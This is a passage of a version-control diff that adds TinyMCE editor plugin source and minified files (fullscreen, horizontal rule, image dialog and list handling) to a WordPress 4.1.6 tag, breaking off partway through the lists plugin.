+tinymce.PluginManager.add("fullscreen",function(a){function b(){var a,b,c=window,d=document,e=d.body;return e.offsetWidth&&(a=e.offsetWidth,b=e.offsetHeight),c.innerWidth&&c.innerHeight&&(a=c.innerWidth,b=c.innerHeight),{w:a,h:b}}function c(){function c(){j.setStyle(m,"height",b().h-(l.clientHeight-m.clientHeight))}var k,l,m,n,o=document.body,p=document.documentElement;i=!i,l=a.getContainer(),k=l.style,m=a.getContentAreaContainer().firstChild,n=m.style,i?(d=n.width,e=n.height,n.width=n.height="100%",g=k.width,h=k.height,k.width=k.height="",j.addClass(o,"mce-fullscreen"),j.addClass(p,"mce-fullscreen"),j.addClass(l,"mce-fullscreen"),j.bind(window,"resize",c),c(),f=c):(n.width=d,n.height=e,g&&(k.width=g),h&&(k.height=h),j.removeClass(o,"mce-fullscreen"),j.removeClass(p,"mce-fullscreen"),j.removeClass(l,"mce-fullscreen"),j.unbind(window,"resize",f)),a.fire("FullscreenStateChanged",{state:i})}var d,e,f,g,h,i=!1,j=tinymce.DOM;return a.settings.inline?void 0:(a.on("init",function(){a.addShortcut("Ctrl+Alt+F","",c)}),a.on("remove",function(){f&&j.unbind(window,"resize",f)}),a.addCommand("mceFullScreen",c),a.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Alt+F",selectable:!0,onClick:c,onPostRender:function(){var b=this;a.on("FullscreenStateChanged",function(a){b.active(a.state)})},context:"view"}),a.addButton("fullscreen",{tooltip:"Fullscreen",shortcut:"Ctrl+Alt+F",onClick:c,onPostRender:function(){var b=this;a.on("FullscreenStateChanged",function(a){b.active(a.state)})}}),{isFullscreen:function(){return i}})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/hr/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/hr/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/hr/plugin.js	(revision 33402)
@@ -0,0 +1,30 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('hr', function(editor) {
+	editor.addCommand('InsertHorizontalRule', function() {
+		editor.execCommand('mceInsertContent', false, '<hr />');
+	});
+
+	editor.addButton('hr', {
+		icon: 'hr',
+		tooltip: 'Horizontal line',
+		cmd: 'InsertHorizontalRule'
+	});
+
+	editor.addMenuItem('hr', {
+		icon: 'hr',
+		text: 'Horizontal line',
+		cmd: 'InsertHorizontalRule',
+		context: 'insert'
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/hr/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/hr/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/hr/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("hr",function(a){a.addCommand("InsertHorizontalRule",function(){a.execCommand("mceInsertContent",!1,"<hr />")}),a.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),a.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/image/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/image/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/image/plugin.js	(revision 33402)
@@ -0,0 +1,459 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+
+tinymce.PluginManager.add('image', function(editor) {
+	function getImageSize(url, callback) {
+		var img = document.createElement('img');
+
+		function done(width, height) {
+			if (img.parentNode) {
+				img.parentNode.removeChild(img);
+			}
+
+			callback({width: width, height: height});
+		}
+
+		img.onload = function() {
+			done(img.clientWidth, img.clientHeight);
+		};
+
+		img.onerror = function() {
+			done();
+		};
+
+		var style = img.style;
+		style.visibility = 'hidden';
+		style.position = 'fixed';
+		style.bottom = style.left = 0;
+		style.width = style.height = 'auto';
+
+		document.body.appendChild(img);
+		img.src = url;
+	}
+
+	function buildListItems(inputList, itemCallback, startItems) {
+		function appendItems(values, output) {
+			output = output || [];
+
+			tinymce.each(values, function(item) {
+				var menuItem = {text: item.text || item.title};
+
+				if (item.menu) {
+					menuItem.menu = appendItems(item.menu);
+				} else {
+					menuItem.value = item.value;
+					itemCallback(menuItem);
+				}
+
+				output.push(menuItem);
+			});
+
+			return output;
+		}
+
+		return appendItems(inputList, startItems || []);
+	}
+
+	function createImageList(callback) {
+		return function() {
+			var imageList = editor.settings.image_list;
+
+			if (typeof(imageList) == "string") {
+				tinymce.util.XHR.send({
+					url: imageList,
+					success: function(text) {
+						callback(tinymce.util.JSON.parse(text));
+					}
+				});
+			} else if (typeof(imageList) == "function") {
+				imageList(callback);
+			} else {
+				callback(imageList);
+			}
+		};
+	}
+
+	function showDialog(imageList) {
+		var win, data = {}, dom = editor.dom, imgElm = editor.selection.getNode();
+		var width, height, imageListCtrl, classListCtrl, imageDimensions = editor.settings.image_dimensions !== false;
+
+		function recalcSize() {
+			var widthCtrl, heightCtrl, newWidth, newHeight;
+
+			widthCtrl = win.find('#width')[0];
+			heightCtrl = win.find('#height')[0];
+
+			if (!widthCtrl || !heightCtrl) {
+				return;
+			}
+
+			newWidth = widthCtrl.value();
+			newHeight = heightCtrl.value();
+
+			if (win.find('#constrain')[0].checked() && width && height && newWidth && newHeight) {
+				if (width != newWidth) {
+					newHeight = Math.round((newWidth / width) * newHeight);
+					heightCtrl.value(newHeight);
+				} else {
+					newWidth = Math.round((newHeight / height) * newWidth);
+					widthCtrl.value(newWidth);
+				}
+			}
+
+			width = newWidth;
+			height = newHeight;
+		}
+
+		function onSubmitForm() {
+			function waitLoad(imgElm) {
+				function selectImage() {
+					imgElm.onload = imgElm.onerror = null;
+
+					if (editor.selection) {
+						editor.selection.select(imgElm);
+						editor.nodeChanged();
+					}
+				}
+
+				imgElm.onload = function() {
+					if (!data.width && !data.height && imageDimensions) {
+						dom.setAttribs(imgElm, {
+							width: imgElm.clientWidth,
+							height: imgElm.clientHeight
+						});
+						//WP
+						editor.fire( 'wpNewImageRefresh', { node: imgElm } );
+					}
+
+					selectImage();
+				};
+
+				imgElm.onerror = selectImage;
+			}
+
+			updateStyle();
+			recalcSize();
+
+			data = tinymce.extend(data, win.toJSON());
+			var caption = data.caption; // WP
+
+			if (!data.alt) {
+				data.alt = '';
+			}
+
+			if (data.width === '') {
+				data.width = null;
+			}
+
+			if (data.height === '') {
+				data.height = null;
+			}
+
+			if (!data.style) {
+				data.style = null;
+			}
+
+			// Setup new data excluding style properties
+			data = {
+				src: data.src,
+				alt: data.alt,
+				width: data.width,
+				height: data.height,
+				style: data.style,
+				"class": data["class"]
+			};
+
+			editor.undoManager.transact(function() {
+				// WP
+				var eventData = { node: imgElm, data: data, caption: caption };
+
+				editor.fire( 'wpImageFormSubmit', { imgData: eventData } );
+
+				if ( eventData.cancel ) {
+					waitLoad( eventData.node );
+					return;
+				}
+				// WP end
+
+				if (!data.src) {
+					if (imgElm) {
+						dom.remove(imgElm);
+						editor.focus();
+						editor.nodeChanged();
+					}
+
+					return;
+				}
+
+				if (!imgElm) {
+					data.id = '__mcenew';
+					editor.focus();
+					editor.selection.setContent(dom.createHTML('img', data));
+					imgElm = dom.get('__mcenew');
+					dom.setAttrib(imgElm, 'id', null);
+				} else {
+					dom.setAttribs(imgElm, data);
+				}
+
+				waitLoad(imgElm);
+			});
+		}
+
+		function removePixelSuffix(value) {
+			if (value) {
+				value = value.replace(/px$/, '');
+			}
+
+			return value;
+		}
+
+		function srcChange(e) {
+			var meta = e.meta || {};
+
+			if (imageListCtrl) {
+				imageListCtrl.value(editor.convertURL(this.value(), 'src'));
+			}
+
+			tinymce.each(meta, function(value, key) {
+				win.find('#' + key).value(value);
+			});
+
+			if (!meta.width && !meta.height) {
+				var srcURL = this.value(),
+				absoluteURLPattern = new RegExp('^(?:[a-z]+:)?//', 'i'),
+				baseURL = editor.settings.document_base_url;
+
+				//Pattern test the src url and make sure we haven't already prepended the url
+				if (baseURL && !absoluteURLPattern.test(srcURL) && srcURL.substring(0, baseURL.length) !== baseURL) {
+					this.value(baseURL + srcURL);
+				}
+
+				getImageSize(this.value(), function(data) {
+					if (data.width && data.height && imageDimensions) {
+						width = data.width;
+						height = data.height;
+
+						win.find('#width').value(width);
+						win.find('#height').value(height);
+					}
+				});
+			}
+		}
+
+		width = dom.getAttrib(imgElm, 'width');
+		height = dom.getAttrib(imgElm, 'height');
+
+		if (imgElm.nodeName == 'IMG' && !imgElm.getAttribute('data-mce-object') && !imgElm.getAttribute('data-mce-placeholder')) {
+			data = {
+				src: dom.getAttrib(imgElm, 'src'),
+				alt: dom.getAttrib(imgElm, 'alt'),
+				"class": dom.getAttrib(imgElm, 'class'),
+				width: width,
+				height: height
+			};
+
+			// WP
+			editor.fire( 'wpLoadImageData', { imgData: { data: data, node: imgElm } } );
+		} else {
+			imgElm = null;
+		}
+
+		if (imageList) {
+			imageListCtrl = {
+				type: 'listbox',
+				label: 'Image list',
+				values: buildListItems(
+					imageList,
+					function(item) {
+						item.value = editor.convertURL(item.value || item.url, 'src');
+					},
+					[{text: 'None', value: ''}]
+				),
+				value: data.src && editor.convertURL(data.src, 'src'),
+				onselect: function(e) {
+					var altCtrl = win.find('#alt');
+
+					if (!altCtrl.value() || (e.lastControl && altCtrl.value() == e.lastControl.text())) {
+						altCtrl.value(e.control.text());
+					}
+
+					win.find('#src').value(e.control.value()).fire('change');
+				},
+				onPostRender: function() {
+					imageListCtrl = this;
+				}
+			};
+		}
+
+		if (editor.settings.image_class_list) {
+			classListCtrl = {
+				name: 'class',
+				type: 'listbox',
+				label: 'Class',
+				values: buildListItems(
+					editor.settings.image_class_list,
+					function(item) {
+						if (item.value) {
+							item.textStyle = function() {
+								return editor.formatter.getCssText({inline: 'img', classes: [item.value]});
+							};
+						}
+					}
+				)
+			};
+		}
+
+		// General settings shared between simple and advanced dialogs
+		var generalFormItems = [
+			{
+				name: 'src',
+				type: 'filepicker',
+				filetype: 'image',
+				label: 'Source',
+				autofocus: true,
+				onchange: srcChange
+			},
+			imageListCtrl
+		];
+
+		if (editor.settings.image_description !== false) {
+			generalFormItems.push({name: 'alt', type: 'textbox', label: 'Image description'});
+		}
+
+		if (imageDimensions) {
+			generalFormItems.push({
+				type: 'container',
+				label: 'Dimensions',
+				layout: 'flex',
+				direction: 'row',
+				align: 'center',
+				spacing: 5,
+				items: [
+					{name: 'width', type: 'textbox', maxLength: 5, size: 3, onchange: recalcSize, ariaLabel: 'Width'},
+					{type: 'label', text: 'x'},
+					{name: 'height', type: 'textbox', maxLength: 5, size: 3, onchange: recalcSize, ariaLabel: 'Height'},
+					{name: 'constrain', type: 'checkbox', checked: true, text: 'Constrain proportions'}
+				]
+			});
+		}
+
+		generalFormItems.push(classListCtrl);
+
+		// WP
+		editor.fire( 'wpLoadImageForm', { data: generalFormItems } );
+
+		function updateStyle() {
+			function addPixelSuffix(value) {
+				if (value.length > 0 && /^[0-9]+$/.test(value)) {
+					value += 'px';
+				}
+
+				return value;
+			}
+
+			if (!editor.settings.image_advtab) {
+				return;
+			}
+
+			var data = win.toJSON();
+			var css = dom.parseStyle(data.style);
+
+			delete css.margin;
+			css['margin-top'] = css['margin-bottom'] = addPixelSuffix(data.vspace);
+			css['margin-left'] = css['margin-right'] = addPixelSuffix(data.hspace);
+			css['border-width'] = addPixelSuffix(data.border);
+
+			win.find('#style').value(dom.serializeStyle(dom.parseStyle(dom.serializeStyle(css))));
+		}
+
+		if (editor.settings.image_advtab) {
+			// Parse styles from img
+			if (imgElm) {
+				data.hspace = removePixelSuffix(imgElm.style.marginLeft || imgElm.style.marginRight);
+				data.vspace = removePixelSuffix(imgElm.style.marginTop || imgElm.style.marginBottom);
+				data.border = removePixelSuffix(imgElm.style.borderWidth);
+				data.style = editor.dom.serializeStyle(editor.dom.parseStyle(editor.dom.getAttrib(imgElm, 'style')));
+			}
+
+			// Advanced dialog shows general+advanced tabs
+			win = editor.windowManager.open({
+				title: 'Insert/edit image',
+				data: data,
+				bodyType: 'tabpanel',
+				body: [
+					{
+						title: 'General',
+						type: 'form',
+						items: generalFormItems
+					},
+
+					{
+						title: 'Advanced',
+						type: 'form',
+						pack: 'start',
+						items: [
+							{
+								label: 'Style',
+								name: 'style',
+								type: 'textbox'
+							},
+							{
+								type: 'form',
+								layout: 'grid',
+								packV: 'start',
+								columns: 2,
+								padding: 0,
+								alignH: ['left', 'right'],
+								defaults: {
+									type: 'textbox',
+									maxWidth: 50,
+									onchange: updateStyle
+								},
+								items: [
+									{label: 'Vertical space', name: 'vspace'},
+									{label: 'Horizontal space', name: 'hspace'},
+									{label: 'Border', name: 'border'}
+								]
+							}
+						]
+					}
+				],
+				onSubmit: onSubmitForm
+			});
+		} else {
+			// Simple default dialog
+			win = editor.windowManager.open({
+				title: 'Insert/edit image',
+				data: data,
+				body: generalFormItems,
+				onSubmit: onSubmitForm
+			});
+		}
+	}
+
+	editor.addButton('image', {
+		icon: 'image',
+		tooltip: 'Insert/edit image',
+		onclick: createImageList(showDialog),
+		stateSelector: 'img:not([data-mce-object],[data-mce-placeholder])'
+	});
+
+	editor.addMenuItem('image', {
+		icon: 'image',
+		text: 'Insert image',
+		onclick: createImageList(showDialog),
+		context: 'insert',
+		prependToContext: true
+	});
+
+	editor.addCommand('mceImage', createImageList(showDialog));
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/image/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/image/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/image/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("image",function(a){function b(a,b){function c(a,c){d.parentNode&&d.parentNode.removeChild(d),b({width:a,height:c})}var d=document.createElement("img");d.onload=function(){c(d.clientWidth,d.clientHeight)},d.onerror=function(){c()};var e=d.style;e.visibility="hidden",e.position="fixed",e.bottom=e.left=0,e.width=e.height="auto",document.body.appendChild(d),d.src=a}function c(a,b,c){function d(a,c){return c=c||[],tinymce.each(a,function(a){var e={text:a.text||a.title};a.menu?e.menu=d(a.menu):(e.value=a.value,b(e)),c.push(e)}),c}return d(a,c||[])}function d(b){return function(){var c=a.settings.image_list;"string"==typeof c?tinymce.util.XHR.send({url:c,success:function(a){b(tinymce.util.JSON.parse(a))}}):"function"==typeof c?c(b):b(c)}}function e(d){function e(){var a,b,c,d;a=j.find("#width")[0],b=j.find("#height")[0],a&&b&&(c=a.value(),d=b.value(),j.find("#constrain")[0].checked()&&k&&l&&c&&d&&(k!=c?(d=Math.round(c/k*d),b.value(d)):(c=Math.round(d/l*c),a.value(c))),k=c,l=d)}function f(){function b(b){function c(){b.onload=b.onerror=null,a.selection&&(a.selection.select(b),a.nodeChanged())}b.onload=function(){o.width||o.height||!r||(p.setAttribs(b,{width:b.clientWidth,height:b.clientHeight}),a.fire("wpNewImageRefresh",{node:b})),c()},b.onerror=c}i(),e(),o=tinymce.extend(o,j.toJSON());var c=o.caption;o.alt||(o.alt=""),""===o.width&&(o.width=null),""===o.height&&(o.height=null),o.style||(o.style=null),o={src:o.src,alt:o.alt,width:o.width,height:o.height,style:o.style,"class":o["class"]},a.undoManager.transact(function(){var d={node:q,data:o,caption:c};return a.fire("wpImageFormSubmit",{imgData:d}),d.cancel?void b(d.node):o.src?(q?p.setAttribs(q,o):(o.id="__mcenew",a.focus(),a.selection.setContent(p.createHTML("img",o)),q=p.get("__mcenew"),p.setAttrib(q,"id",null)),void b(q)):void(q&&(p.remove(q),a.focus(),a.nodeChanged()))})}function g(a){return a&&(a=a.replace(/px$/,"")),a}function h(c){var d=c.meta||{};if(m&&m.value(a.convertURL(this.value(),"src")),tinymce.each(d,function(a,b){j.find("#"+b).value(a)}),!d.width&&!d.height){var e=this.value(),f=new RegExp("^(?:[a-z]+:)?//","i"),g=a.settings.document_base_url;g&&!f.test(e)&&e.substring(0,g.length)!==g&&this.value(g+e),b(this.value(),function(a){a.width&&a.height&&r&&(k=a.width,l=a.height,j.find("#width").value(k),j.find("#height").value(l))})}}function i(){function b(a){return a.length>0&&/^[0-9]+$/.test(a)&&(a+="px"),a}if(a.settings.image_advtab){var c=j.toJSON(),d=p.parseStyle(c.style);delete d.margin,d["margin-top"]=d["margin-bottom"]=b(c.vspace),d["margin-left"]=d["margin-right"]=b(c.hspace),d["border-width"]=b(c.border),j.find("#style").value(p.serializeStyle(p.parseStyle(p.serializeStyle(d))))}}var j,k,l,m,n,o={},p=a.dom,q=a.selection.getNode(),r=a.settings.image_dimensions!==!1;k=p.getAttrib(q,"width"),l=p.getAttrib(q,"height"),"IMG"!=q.nodeName||q.getAttribute("data-mce-object")||q.getAttribute("data-mce-placeholder")?q=null:(o={src:p.getAttrib(q,"src"),alt:p.getAttrib(q,"alt"),"class":p.getAttrib(q,"class"),width:k,height:l},a.fire("wpLoadImageData",{imgData:{data:o,node:q}})),d&&(m={type:"listbox",label:"Image list",values:c(d,function(b){b.value=a.convertURL(b.value||b.url,"src")},[{text:"None",value:""}]),value:o.src&&a.convertURL(o.src,"src"),onselect:function(a){var b=j.find("#alt");(!b.value()||a.lastControl&&b.value()==a.lastControl.text())&&b.value(a.control.text()),j.find("#src").value(a.control.value()).fire("change")},onPostRender:function(){m=this}}),a.settings.image_class_list&&(n={name:"class",type:"listbox",label:"Class",values:c(a.settings.image_class_list,function(b){b.value&&(b.textStyle=function(){return a.formatter.getCssText({inline:"img",classes:[b.value]})})})});var s=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:h},m];a.settings.image_description!==!1&&s.push({name:"alt",type:"textbox",label:"Image description"}),r&&s.push({type:"container",label:"Dimensions",layout:"flex",direction:"row",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:3,onchange:e,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:3,onchange:e,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}),s.push(n),a.fire("wpLoadImageForm",{data:s}),a.settings.image_advtab?(q&&(o.hspace=g(q.style.marginLeft||q.style.marginRight),o.vspace=g(q.style.marginTop||q.style.marginBottom),o.border=g(q.style.borderWidth),o.style=a.dom.serializeStyle(a.dom.parseStyle(a.dom.getAttrib(q,"style")))),j=a.windowManager.open({title:"Insert/edit image",data:o,bodyType:"tabpanel",body:[{title:"General",type:"form",items:s},{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox"},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,alignH:["left","right"],defaults:{type:"textbox",maxWidth:50,onchange:i},items:[{label:"Vertical space",name:"vspace"},{label:"Horizontal space",name:"hspace"},{label:"Border",name:"border"}]}]}],onSubmit:f})):j=a.windowManager.open({title:"Insert/edit image",data:o,body:s,onSubmit:f})}a.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:d(e),stateSelector:"img:not([data-mce-object],[data-mce-placeholder])"}),a.addMenuItem("image",{icon:"image",text:"Insert image",onclick:d(e),context:"insert",prependToContext:!0}),a.addCommand("mceImage",d(e))});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/lists/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/lists/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/lists/plugin.js	(revision 33402)
@@ -0,0 +1,791 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*global tinymce:true */
+/*eslint consistent-this:0 */
+
+tinymce.PluginManager.add('lists', function(editor) {
+	var self = this;
+
+	function isListNode(node) {
+		return node && (/^(OL|UL|DL)$/).test(node.nodeName);
+	}
+
+	function isFirstChild(node) {
+		return node.parentNode.firstChild == node;
+	}
+
+	function isLastChild(node) {
+		return node.parentNode.lastChild == node;
+	}
+
+	function isTextBlock(node) {
+		return node && !!editor.schema.getTextBlockElements()[node.nodeName];
+	}
+
+	editor.on('init', function() {
+		var dom = editor.dom, selection = editor.selection;
+
+		/**
+		 * Returns a range bookmark. This will convert indexed bookmarks into temporary span elements with
+		 * index 0 so that they can be restored properly after the DOM has been modified. Text bookmarks will not have spans
+		 * added to them since they can be restored after a dom operation.
+		 *
+		 * So this: <p><b>|</b><b>|</b></p>
+		 * becomes: <p><b><span data-mce-type="bookmark">|</span></b><b data-mce-type="bookmark">|</span></b></p>
+		 *
+		 * @param  {DOMRange} rng DOM Range to get bookmark on.
+		 * @return {Object} Bookmark object.
+		 */
+		function createBookmark(rng) {
+			var bookmark = {};
+
+			function setupEndPoint(start) {
+				var offsetNode, container, offset;
+
+				container = rng[start ? 'startContainer' : 'endContainer'];
+				offset = rng[start ? 'startOffset' : 'endOffset'];
+
+				if (container.nodeType == 1) {
+					offsetNode = dom.create('span', {'data-mce-type': 'bookmark'});
+
+					if (container.hasChildNodes()) {
+						offset = Math.min(offset, container.childNodes.length - 1);
+
+						if (start) {
+							container.insertBefore(offsetNode, container.childNodes[offset]);
+						} else {
+							dom.insertAfter(offsetNode, container.childNodes[offset]);
+						}
+					} else {
+						container.appendChild(offsetNode);
+					}
+
+					container = offsetNode;
+					offset = 0;
+				}
+
+				bookmark[start ? 'startContainer' : 'endContainer'] = container;
+				bookmark[start ? 'startOffset' : 'endOffset'] = offset;
+			}
+
+			setupEndPoint(true);
+
+			if (!rng.collapsed) {
+				setupEndPoint();
+			}
+
+			return bookmark;
+		}
+
+		/**
+		 * Moves the selection to the current bookmark and removes any selection container wrappers.
+		 *
+		 * @param {Object} bookmark Bookmark object to move selection to.
+		 */
+		function moveToBookmark(bookmark) {
+			function restoreEndPoint(start) {
+				var container, offset, node;
+
+				function nodeIndex(container) {
+					var node = container.parentNode.firstChild, idx = 0;
+
+					while (node) {
+						if (node == container) {
+							return idx;
+						}
+
+						// Skip data-mce-type=bookmark nodes
+						if (node.nodeType != 1 || node.getAttribute('data-mce-type') != 'bookmark') {
+							idx++;
+						}
+
+						node = node.nextSibling;
+					}
+
+					return -1;
+				}
+
+				container = node = bookmark[start ? 'startContainer' : 'endContainer'];
+				offset = bookmark[start ? 'startOffset' : 'endOffset'];
+
+				if (!container) {
+					return;
+				}
+
+				if (container.nodeType == 1) {
+					offset = nodeIndex(container);
+					container = container.parentNode;
+					dom.remove(node);
+				}
+
+				bookmark[start ? 'startContainer' : 'endContainer'] = container;
+				bookmark[start ? 'startOffset' : 'endOffset'] = offset;
+			}
+
+			restoreEndPoint(true);
+			restoreEndPoint();
+
+			var rng = dom.createRng();
+
+			rng.setStart(bookmark.startContainer, bookmark.startOffset);
+
+			if (bookmark.endContainer) {
+				rng.setEnd(bookmark.endContainer, bookmark.endOffset);
+			}
+
+			selection.setRng(rng);
+		}
+
+		function createNewTextBlock(contentNode, blockName) {
+			var node, textBlock, fragment = dom.createFragment(), hasContentNode;
+			var blockElements = editor.schema.getBlockElements();
+
+			if (editor.settings.forced_root_block) {
+				blockName = blockName || editor.settings.forced_root_block;
+			}
+
+			if (blockName) {
+				textBlock = dom.create(blockName);
+
+				if (textBlock.tagName === editor.settings.forced_root_block) {
+					dom.setAttribs(textBlock, editor.settings.forced_root_block_attrs);
+				}
+
+				fragment.appendChild(textBlock);
+			}
+
+			if (contentNode) {
+				while ((node = contentNode.firstChild)) {
+					var nodeName = node.nodeName;
+
+					if (!hasContentNode && (nodeName != 'SPAN' || node.getAttribute('data-mce-type') != 'bookmark')) {
+						hasContentNode = true;
+					}
+
+					if (blockElements[nodeName]) {
+						fragment.appendChild(node);
+						textBlock = null;
+					} else {
+						if (blockName) {
+							if (!textBlock) {
+								textBlock = dom.create(blockName);
+								fragment.appendChild(textBlock);
+							}
+
+							textBlock.appendChild(node);
+						} else {
+							fragment.appendChild(node);
+						}
+					}
+				}
+			}
+
+			if (!editor.settings.forced_root_block) {
+				fragment.appendChild(dom.create('br'));
+			} else {
+				// BR is needed in empty blocks on non IE browsers
+				if (!hasContentNode && (!tinymce.Env.ie || tinymce.Env.ie > 10)) {
+					textBlock.appendChild(dom.create('br', {'data-mce-bogus': '1'}));
+				}
+			}
+
+			return fragment;
+		}
+
+		function getSelectedListItems() {
+			return tinymce.grep(selection.getSelectedBlocks(), function(block) {
+				return /^(LI|DT|DD)$/.test(block.nodeName);
+			});
+		}
+
+		function splitList(ul, li, newBlock) {
+			var tmpRng, fragment;
+
+			var bookmarks = dom.select('span[data-mce-type="bookmark"]', ul);
+
+			newBlock = newBlock || createNewTextBlock(li);
+			tmpRng = dom.createRng();
+			tmpRng.setStartAfter(li);
+			tmpRng.setEndAfter(ul);
+			fragment = tmpRng.extractContents();
+
+			if (!dom.isEmpty(fragment)) {
+				dom.insertAfter(fragment, ul);
+			}
+
+			dom.insertAfter(newBlock, ul);
+
+			if (dom.isEmpty(li.parentNode)) {
+				tinymce.each(bookmarks, function(node) {
+					li.parentNode.parentNode.insertBefore(node, li.parentNode);
+				});
+
+				dom.remove(li.parentNode);
+			}
+
+			dom.remove(li);
+		}
+
+		function mergeWithAdjacentLists(listBlock) {
+			var sibling, node;
+
+			sibling = listBlock.nextSibling;
+			if (sibling && isListNode(sibling) && sibling.nodeName == listBlock.nodeName) {
+				while ((node = sibling.firstChild)) {
+					listBlock.appendChild(node);
+				}
+
+				dom.remove(sibling);
+			}
+
+			sibling = listBlock.previousSibling;
+			if (sibling && isListNode(sibling) && sibling.nodeName == listBlock.nodeName) {
+				while ((node = sibling.firstChild)) {
+					listBlock.insertBefore(node, listBlock.firstChild);
+				}
+
+				dom.remove(sibling);
+			}
+		}
+
+		/**
+		 * Normalizes the all lists in the specified element.
+		 */
+		function normalizeList(element) {
+			tinymce.each(tinymce.grep(dom.select('ol,ul', element)), function(ul) {
+				var sibling, parentNode = ul.parentNode;
+
+				// Move UL/OL to previous LI if it's the only child of a LI
+				if (parentNode.nodeName == 'LI' && parentNode.firstChild == ul) {
+					sibling = parentNode.previousSibling;
+					if (sibling && sibling.nodeName == 'LI') {
+						sibling.appendChild(ul);
+
+						if (dom.isEmpty(parentNode)) {
+							dom.remove(parentNode);
+						}
+					}
+				}
+
+				// Append OL/UL to previous LI if it's in a parent OL/UL i.e. old HTML4
+				if (isListNode(parentNode)) {
+					sibling = parentNode.previousSibling;
+					if (sibling && sibling.nodeName == 'LI') {
+						sibling.appendChild(ul);
+					}
+				}
+			});
+		}
+
+		function outdent(li) {
+			var ul = li.parentNode, ulParent = ul.parentNode, newBlock;
+
+			function removeEmptyLi(li) {
+				if (dom.isEmpty(li)) {
+					dom.remove(li);
+				}
+			}
+
+			if (li.nodeName == 'DD') {
+				dom.rename(li, 'DT');
+				return true;
+			}
+
+			if (isFirstChild(li) && isLastChild(li)) {
+				if (ulParent.nodeName == "LI") {
+					dom.insertAfter(li, ulParent);
+					removeEmptyLi(ulParent);
+					dom.remove(ul);
+				} else if (isListNode(ulParent)) {
+					dom.remove(ul, true);
+				} else {
+					ulParent.insertBefore(createNewTextBlock(li), ul);
+					dom.remove(ul);
+				}
+
+				return true;
+			} else if (isFirstChild(li)) {
+				if (ulParent.nodeName == "LI") {
+					dom.insertAfter(li, ulParent);
+					li.appendChild(ul);
+					removeEmptyLi(ulParent);
+				} else if (isListNode(ulParent)) {
+					ulParent.insertBefore(li, ul);
+				} else {
+					ulParent.insertBefore(createNewTextBlock(li), ul);
+					dom.remove(li);
+				}
+
+				return true;
+			} else if (isLastChild(li)) {
+				if (ulParent.nodeName == "LI") {
+					dom.insertAfter(li, ulParent);
+				} else if (isListNode(ulParent)) {
+					dom.insertAfter(li, ul);
+				} else {
+					dom.insertAfter(createNewTextBlock(li), ul);
+					dom.remove(li);
+				}
+
+				return true;
+			} else {
+				if (ulParent.nodeName == 'LI') {
+					ul = ulParent;
+					newBlock = createNewTextBlock(li, 'LI');
+				} else if (isListNode(ulParent)) {
+					newBlock = createNewTextBlock(li, 'LI');
+				} else {
+					newBlock = createNewTextBlock(li);
+				}
+
+				splitList(ul, li, newBlock);
+				normalizeList(ul.parentNode);
+
+				return true;
+			}
+
+			return false;
+		}
+
+		function indent(li) {
+			var sibling, newList;
+
+			function mergeLists(from, to) {
+				var node;
+
+				if (isListNode(from)) {
+					while ((node = li.lastChild.firstChild)) {
+						to.appendChild(node);
+					}
+
+					dom.remove(from);
+				}
+			}
+
+			if (li.nodeName == 'DT') {
+				dom.rename(li, 'DD');
+				return true;
+			}
+
+			sibling = li.previousSibling;
+
+			if (sibling && isListNode(sibling)) {
+				sibling.appendChild(li);
+				return true;
+			}
+
+			if (sibling && sibling.nodeName == 'LI' && isListNode(sibling.lastChild)) {
+				sibling.lastChild.appendChild(li);
+				mergeLists(li.lastChild, sibling.lastChild);
+				return true;
+			}
+
+			sibling = li.nextSibling;
+
+			if (sibling && isListNode(sibling)) {
+				sibling.insertBefore(li, sibling.firstChild);
+				return true;
+			}
+
+			if (sibling && sibling.nodeName == 'LI' && isListNode(li.lastChild)) {
+				return false;
+			}
+
+			sibling = li.previousSibling;
+			if (sibling && sibling.nodeName == 'LI') {
+				newList = dom.create(li.parentNode.nodeName);
